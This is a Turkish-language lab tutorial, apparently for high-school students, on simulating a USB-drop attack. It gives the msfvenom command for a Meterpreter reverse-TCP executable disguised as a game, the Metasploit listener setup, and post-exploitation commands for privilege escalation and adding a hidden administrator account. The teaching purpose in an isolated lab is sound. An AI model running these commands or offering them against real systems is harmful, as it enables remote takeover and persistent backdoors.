Msfvenom ile Reverse Shell ve USB Drop Saldırısı
Etik Hackerlık ve Sızma Testi Laboratuvar Uygulaması
Hazırlayan: Nuri TIRAŞ
Bu eğitim makalesi, 11. sınıf bilgi teknolojileri öğrencilerinin siber güvenlik "Büyük Final" tatbikatında izole ağ laboratuvarlarında kullanılmak üzere, güvenlik açıklarının nasıl tespit edileceği ve zararlı yazılımların çalışma prensiplerinin nasıl analiz edileceği konularına odaklanmaktadır. Ticaret ve Sanayi Odası Ticaret Mesleki ve Teknik Anadolu Lisesi altyapısında kurulabilecek bu senaryo, öğrencilerin ofansif ve defansif siber güvenlik yeteneklerini geliştirmeleri için ideal bir uygulamadır.
Laboratuvar Ortamının Hazırlanması
Etik hacking ve sızma testi uygulamalarının güvenli bir şekilde gerçekleştirilebilmesi için tamamen izole bir ağ ortamı (Host-Only Network) şarttır. Bu laboratuvar çalışmasında, saldırgan (attacker) makine olarak Kali Linux, hedef makine olarak ise Windows Server 2016 (Masaüstü Deneyimi - 64-bit) kullanılmaktadır.
Ağ Ayarları: Her iki sanal makinenin de ağ adaptörleri sadece sunucu ve istemci makinelerin birbirini görebileceği şekilde ayarlanmalıdır. Bu durum testlerin dış ağlara taşmasını engeller.
Güvenlik Duvarı: Eğitim senaryosunun başlangıcında, üretilecek payload'un ilk aşamada başarıyla çalışabilmesi için hedef makinedeki Windows Defender ve güvenlik duvarı (Firewall) devre dışı bırakılır.
Msfvenom ile Payload (Zararlı Yazılım) Üretimi
Oluşturulacak senaryo bir USB Drop (USB Bırakma) saldırısıdır. Saldırgan, içine zararlı bir yazılım gizlediği USB belleği otopark gibi hedef kitlenin kolayca bulabileceği bir yere bırakır. Kurban USB belleği alıp bilgisayarına taktığında ve içindeki dosyayı çalıştırdığında, saldırgana "Reverse Shell" (Tersine Kabuk) bağlantısı açılır.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=4444 -f exe > /root/Desktop/flash_soccer.exe
Komutun bileşenleri:
-p windows/x64/meterpreter/reverse_tcp: 64-bit Windows mimarisi için Meterpreter reverse TCP payload'u.
LHOST: Kali Linux (Saldırgan) makinenin IP adresi.
LPORT: Dinleme yapılacak port (örneğin; 4444).
-f exe: Çıktı formatının Windows çalıştırılabilir dosyası (.exe) olması.
> .../flash_soccer.exe: Dosyanın oyun izlenimi verecek şekilde kaydedilmesi.
Dinleyici (Handler) Kurulumu
Hedef makine zararlı dosyayı çalıştırdığında gelecek bağlantıyı yakalamak için Kali Linux üzerinde Metasploit Framework kullanılarak bir dinleyici oluşturulur.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.105
set LPORT 4444
run
run komutu girildikten sonra sistem hedef makineden gelecek olan reverse TCP bağlantısını beklemeye başlar.
USB Drop Simülasyonu ve Sızma
Kali'de üretilen flash_soccer.exe dosyası bir USB belleğe kopyalanır. Simülasyon gereği, USB bellek hedef Windows Server 2016 makinesine takılır. Hedef kullanıcı, oyun zannettiği yazılıma çift tıkladığında,
Metasploit ekranında Sending stage... Meterpreter session 1 opened mesajı belirir. Bu aşamadan itibaren hedef bilgisayar tamamen saldırganın kontrolü altındadır.
Sızma Sonrası Aşamalar (Post-Exploitation)
Meterpreter oturumu açıldıktan sonra saldırgan, sistem üzerinde çeşitli komutlar yürütebilir. Uygulamalı senaryoda test edilen komutlar şunlardır:
Yetki Kontrolü ve Yükseltme
getuid: Mevcut kullanıcının yetkilerini ve hangi hesapta oturum açıldığını listeler.
getsystem: Sistem üzerinde yetki yükseltme denemesi yapar. Başarılı olması durumunda, işletim sistemindeki en üst düzey yetki olan NT AUTHORITY\SYSTEM erişimini elde eder.
Komut Satırına Geçiş ve Kullanıcı Ekleme
Meterpreter üzerinden doğrudan Windows komut satırına (shell) geçiş yapılarak komut çalıştırılabilir. Aşağıdaki komutlar ile sisteme gizli bir yönetici hesabı eklenir:
shell
net user accounts Sifre123! /add
net localgroup administrators accounts /add
Bu adımlarla "accounts" adında yeni bir kullanıcı oluşturulup Yönetici (Administrator) grubuna eklenir.
Yorumlar